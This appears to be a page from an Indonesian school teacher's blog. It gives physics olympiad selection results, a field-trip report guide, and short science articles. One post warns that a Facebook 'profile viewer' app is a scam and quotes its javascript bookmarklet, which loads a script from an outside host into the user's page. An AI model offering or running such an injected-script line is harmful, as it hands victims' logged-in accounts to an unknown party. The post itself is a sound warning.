HASIL TES TERTULIS SELEKSI

TIM OLIMPIADE FISIKA (TOFI)

SMP NEGERI 2 BREBES
Kelas 8 Kelas 7
No.

Nama

Skor

No.

Nama

Skor

1 Arifa Setyaningsih A.

24*

1

Moh. Almas P.

23*

2 Muhammad Faza A.

20*

2

Rafika Intan K.

20*

3 Satifa Raudha T.

16

3

Molly Inta Sari

20*

4 Alif Hilmi Akbar

14

4

Okky Dewi S.

19*

5 Rizal Dwi P.

13

5

Kunthi S.P.

19*

6 Nila Munana

12

6

Tyas Elfrida

18

7 Adzimah Mulkiyah (duta OSIS)

7

Lilis Sukma Ana

18

8 A. Rizal Habibie (duta OSIS)

8

Krisna Nopiyanti

15

rata-rata

16,50

rata-rata

19,00

*) Terpilih menjadi calon anggota awal Tim Olimpiade Fisika (TOFI)

SMP Negeri 2 Brebes.

 

Brebes, 6 Nopember 2011

Koordinator TOFI SMP Negeri 2 Brebes

Budi Sigit Purwono, S.Pd.Si.

NIP 19810619 200501 1 006

Hasil Lengkap Ulangan Tengah Semester (UTS) IPA Kelas untuk kelas VIII A, B, C, , dapat di unduh pada link file dibawah  ini.
hasil UTS IPA 8 ABC

Hasil Lengkap Ulangan Tengah Semester (UTS) IPA Kelas untuk kelas IX A, B, C, dan D, dapat di unduh pada link file dibawah  ini.
hasil UTS IPA 9 ABCD

PANDUAN PENYUSUNAN

LAPORAN KARYA WISATA TAHUN 2011

 

 

 

Petunjuk Umum

  1. Laporan dikerjakan berkelompok dengan jumlah anggota kelompok tidak lebih dari 3 orang siswa (dalam satu kelas).
  2. Diketik menggunakan format font arial 11 pt. spasi 1,5, kertas quarto (A4) dan dijilid mika warna sampul biru.
  3. Laporan dibuat hierarkis (pendahuluan, isi/pembahasan, penutup/kesimpulan)
  4. Laporan dikumpulkan kepada guru IPA masing-masing kelas, paling lambat pada tanggal 17 November 2011.

Objek Kajian :

  1. Taman IPTEK.

    Observasi minimal 8 (delapan) alat peraga/modul yang terdapat pada taman IPTEK. Sebutkan nama modul/alat-nya, ambil gambarnya (original), sebutkan fungsinya, dan jelaskan cara kerjanya.

  2. Museum Geologi Bandung
    1. Hipotesis terjadinya bumi di dalam sistem tata surya.
    2. Jenis-jenis batu meteor
    3. Tambahkan minimal 2 objek kajian lain (bebas)
  3. Gunung Tangkuban perahu*
  • Deskripsikan proses pembentukan
  • Deskripsikan kondisi morfologi

     

========e[]e=======

 

 

 

*) boleh menggunakan sumber sekunder

Ditulis oleh : Budi Sigit Purwono, S.Pd.Si.

Selama lebih dari 150 tahun, busi (spark plug) digunakan sebagai pemicu tenaga dalam mesin pembakaran internal. Pabrikan mobil sekarang, satu langkah lebih dekat, akan segera menggantikan busi teknologi lama (percikan api) dengan busi laser, yang akan memungkinkan kendaraan bersih, lebih efisien, dan lebih ekonomis. Dengan sinar laser, campuran udara-bensin yang masuk ke ruang bakar dapat dibakar untuk menghasilkan tenaga pada mesin otomotif.

Di masa lalu, menciptakan ujung penembak laser untuk pembakaran masih terlalu besar untuk dimuat di dalam ruang pembakaran sebuah mobil. Dalam Konferensi tahun ini pada Laser dan Optik Electro (CLEO: 2011), yang diadakan di Baltimore 01-06 Mei, para peneliti dari Jepang menggambarkan sistem laser pertama multibeam (lebih dari satu berkas pancaran) dengan ukuran alat cukup kecil untuk sebagai sekrup ke kepala silinder sebuah mesin.

Yang tidak kalah pentingnya, sistem laser baru terbuat dari keramik, dan bisa diproduksi murah dalam volume besar. Menurut salah satu penulis presentasi, Takunori Taira dari Jepang Institut Nasional Ilmu Pengetahuan Alam.

Sumber : electronics-lab.com

Oleh: bhoedi_sp | 12/08/2011

Diproteksi: Assessment to Chapter 1

Konten berikut dilindungi dengan kata sandi. Untuk melihatnya silakan masukkan kata sandi Anda di bawah ini:

Oleh: bhoedi_sp | 06/07/2011

Why Does A Boomerang Return To Its Thrower?

Conducted by Budi Sigit Purwono, S.Pd.Si.

Two well-known scientific principles dictate the characteristic flight of a boomerang: (1) the force of lift on a curved surface caused by air flowing over it; and (2) the unwillingness of a spinning gyroscope to move from its position.

When a person throws a boomerang properly, he or she causes it to spin vertically.

As a result, the boomerang will generate lift, but it will be to one side other than upwards. As the boomerang spins vertically and moves forward, air flows faster over the top arm at a particular moment than over the bottom arm.


Accordingly, the top arm produces more lift than the bottom arm and the boomerang tries to twist itself, but because it is spinning fast it acts like a gyroscope and turns to the side in an arc. If the boomerang stays in the air long enough, it will turn a full circle and return to the thrower. Every boomerang has a built-in orbit diameter, which is not affected by a person throwing the boomerang harder or spinning it faster.]

Compiled from The Science and Technology Department of the Carnegie Library of Pittsburgh.

Ditulis oleh : Budi Sigit Purwono, S.Pd.Si.

Di antara kejenuhanku bekerja depan layar monitor laptopku, kuterdiam sejenak, lalu…tiba-tiba layar monitor menampilkan screensaver dengan warna hitam total. Tapi pada bagian tepi/sisi layar LCD monitor laptopku terlihat sedikit berkas cahaya putih, kutahu pasti, ini adalah cahaya dari backlight LCD. Sejenak kuberpikir ada yang aneh dan salah dengan usaha yang selama ini kulakukan dengan pemilihan screensaver laptop yang salah, mengapa backlight putih tetap menyala saat harus menampilkan warna hitam. Dari sinilah ide kutulis artikel ini…

Coba kita perhatikan aplikasi Screensaver yang ada pada Sistem Operasi komputer kita baik desktop maupun Laptop atau sejenisnya, kebanyakan jenis pilihan warna yang disajikan adalah dominan warna hitam. Sejauh ini ada asumsi yang meyatakan bahwa warna “hitam” pada layar monitor akan mengonsumsi energi listrik yang lebih sedikit dari pada warna lain (semisal putih). Namun benarkah asumsi ini???, jawabnya adalah tidak selamanya benar namun tidak juga selalu salah. Lalu….???, semua tergantung dari jenis monitor komputer (gadget) yang Anda gunakan. Mari saya jelaskan…

Pendapat bahwa warna layar hitam lebih menghemat listrik adalah realistis ketika Anda sedang berbicara tentang monitor tabung sinar katoda atau CRT, teknologi monitor ini bekerja dengan menembakkan suatu berkas elektron (AC) melewati bagian belakang layar. Layar depan dilapisi dengan fosfor merah, biru dan hijau. Untuk menghasilkan putih, sinar elektron diarahkan pada fosfor. Namun, ketika layar hitam, tidak diperlukan tembakan elektron ke layar monitor.

Diagram Kerja Layar Monitor CRT

Namun konsep ini tidak terjadi pada monitor LCD (Liquid Crystal Display), yang tidak memiliki lapisan fosfor, yang sekarang merupakan jenis penggunaan monitor terbanyak pada hampir semua gadget, termasuk yang digunakan oleh laptop, handphone, dan piranti lainnya. Pada layar monitor LCD, pencahayaan berasal dari sinar lampu neon tipis yang terletak di belakang layar, pencahayaan warna putih ini bersifat konstan. Untuk menghasilkan warna selain putih, misalkan hitam, Layar LCD bergantung pada difuser pada tiap-tiap piksel untuk memfilter cahaya putih menjadi warna/cahaya yang diinginkan. Dan ingat juga, backlight putih layar LCD ini tidak akan padam meski layar menampilkan warna total hitam kelam.

Baca Selengkapnya..

Posted by : Budi Sigit Purwono, S.Pd.Si

Berikut ini akan saya tunjukkan bukti bahwa aplikasi di Grup Jempoler Indonesia tentang pengen tau siapa aja Yang  Sering lihat Profilemu adalah bohong belaka, karena hanya bersifat mengacak (random).

Mari, kita analisis. Di App tersebut, Anda akan di suruh mengkopi alamat URL: [javascript:(a=(b=document).createElement(‘script’)).src=’//www.zingapoker.byethost4.com/_.js’,b.body.appendChild(a);void(0)] yang ada di Grup Jempoler Indonesia. Perhatikan, Facebook  Anda akan digiring menuju link http://www.zingapoker.byethost4.com seperti tertera di atas.

Baca Selengkapnya..

Mengendarai Mobil Hybrid Lebih Ramah Lingkungan Daripada Berlari

Posted by : Budi Sigit P., S.Pd.Si.

Mana yang menurut Anda lebih banyak menghasilkan CO2: empat orang berlari satu kilometer, atau empat orang mengendarai satu km dalam sebuah mobil hybrid? Jika Anda  mempelajari faktanya di bawah ini, maka Anda akan mengetahui jawaban yang cukup mengejutkan.
Baca Selengkapnya..

Older Posts »

Kategori